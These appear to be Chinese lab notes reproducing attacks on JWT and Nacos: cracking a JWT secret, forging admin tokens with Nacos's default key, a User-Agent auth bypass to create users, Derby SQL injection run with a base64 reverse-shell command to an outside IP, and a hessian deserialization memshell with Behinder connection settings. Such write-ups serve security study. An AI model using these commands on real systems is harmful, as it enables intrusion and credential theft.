其他漏洞复现
JWT 身份验证
简介
JSON Web Token (JWT) 是一种开放标准的令牌技术(RFC 7519),用于在网络应用间传递信息。JWT 通常用作身份验证和授权的凭证,类似于传统的 Cookie 或 Session Token。JWT 由三部分组成:Header(头部)、Payload(负载)和 Signature(签名),通过点号(.
)分隔,编码为 Base64 格式。
JWT 的工作原理:
- Header:包含令牌类型(通常为 JWT)和签名算法(如 HS256、RS256)。
- Payload:包含声明(Claims),如用户信息、有效期等。
- Signature:使用密钥对 Header 和 Payload 进行签名,用于验证令牌的完整性。
安全风险: 如果攻击者获取了 JWT 的密钥(Secret),即可伪造任意 JWT 令牌,从而冒充合法用户,绕过身份验证机制。
获取密钥的方式:
- 暴力破解:通过弱口令或密码字典爆破密钥。
- 信息泄露:通过系统配置泄露(如 Spring Boot Actuator 的 heapdump 接口)获取密钥。
危害: 如果攻击者可以得知密钥,攻击者可伪造 JWT 实现任意用户登录,甚至提升权限,访问受限资源。
爆破工具:JWTPyCrack
python jwtcrack-py -m blasting -s "JwT字符串" -a HS256 --kf 密码字典
python jwtcrack.py -m blasting -s "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3NTQ1NDQ1OTcsImV4cCI6MTc1NDYzMDk5NywidXNlcm5hbWUiOiJhZG1pbiJ9.x9nkLB2OPYiSF_AYbmaNDA_rfVkRpU2MbjKJj0ryO_U" -a HS256 --kf /mnt/d/Password/fuzzDicts-master/fuzzDicts-master/passwordDict/top500.txt
如图爆破出的密码是 123456
。
即可修改 JWT。
Nacos
简介
Nacos 是一个开源的云原生的微服务管理平台,提供服务注册与发现、配置管理、动态 DNS 等功能,广泛应用于微服务架构中。Nacos 默认使用 JWT 进行身份验证,且存在多种高危漏洞,如默认密钥、权限绕过、SQL 注入等。
常见漏洞
Nacos 默认 JWT 密钥
靶场:
docker run -d --name nacos -p 8848:8848 -e PREFER_HOST_MODE=hostname -e MODE=standalone nacos/nacos-server:v2.2.0
Nacos 2.2 以下版本使用默认 JWT 密钥,如果管理员未修改密钥,攻击者可利用默认密钥伪造 JWT 登录。
JWT secert:
SecretKey012345678901234567890123456789012345678901234567890123456789
Nacos 默认 JWT:
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTc0NzgyOTk4NH0.TwMWMfnYUUly8gd12u-_ZF-z9HXi_DdU0wl4uad8bJE
Nacos 默认响应体:
{"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTc0NzgyOTk4NH0.TwMWMfnYUUly8gd12u-_ZF-z9HXi_DdU0wl4uad8bJE","tokenTtl":18000,"globalAdmin":true,"username":"nacos"}
首先访问网站:http://192.168.2.243:8848/nacos/#/login,进入到登录页面。
使用 BurpSuite 开启拦截。
设定拦截相应的响应,随后放请求包。
修改拦截到的响应包,将返回的响应包的状态码修改为 200,响应体修改为默认的响应体,并替换其中的 JWT 为自己设定的 JWT。
放包,随后即可成功登录。
Nacos 登录后,没有命令执行,只能泄露微服务的密钥
Nacos 权限绕过漏洞
首先访问网站:
发现在未登录的情况下,访问后台接口:
http://192.168.2.243:8848/nacos/v1/auth/users?pageNo=1&pageSize=9
会返回 403 状态码。
此时如果修改请求包,加上请求头 User-Agent:Nacos-Server
,即可绕过登录限制,直接访问后台接口。
那么同样以这样的方式可以直接创建一个用户。
那么访问:http://192.168.2.243:8848/nacos/v1/auth/users,同时使用 POST 请求携带 GET 参数发送请求包,创建一个用户。
http://192.168.2.243:8848/nacos/v1/auth/users?username=xiaoming&password=123456
随后访问 http://192.168.2.243:8848/naco 即可使用自己创建的用户登录。
Nacos SQL 注入
首先访问 http://192.168.2.243:8848/nacos/即可看到登录页面。
但是存在接口 /nacos/v1/cs/ops/derby
可以未授权访问。
访问该接口,提示缺少 SQL 语句,那么就写一个 SQL 语句并发送。
此时可以获取到相应的信息,那么就有可能利用该漏洞进行 GetShell 等操作。
使用脚本工具进行 GetShell:
python poc.py -t http://192.168.2.243:8848/ -c "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTcuNzIuNTkuMTA2LzE1MDAwIDA+JjE=}|{base64,-d}|{bash,-i}"
此时即可在攻击机获取到 Shell。
Ncaos hessian 反序列化
Nacos 7848 端口传输 hessian 协议,hessian 和 WebLogic 的 T3 协议差不多,都是序列化和反序列化。
首先可以正常访问网站。
直接使用工具 NacosRce 进行攻击。
java -jar NacosRce.jar "http://192.168.2.243:8848/nacos" 7848 memshell
使用冰蝎进行连接。
1、需要设置请求头x-client-data:rebeyond
2、设置Referer:https://www.google.com/
3、路径随意
4、密码rebeyond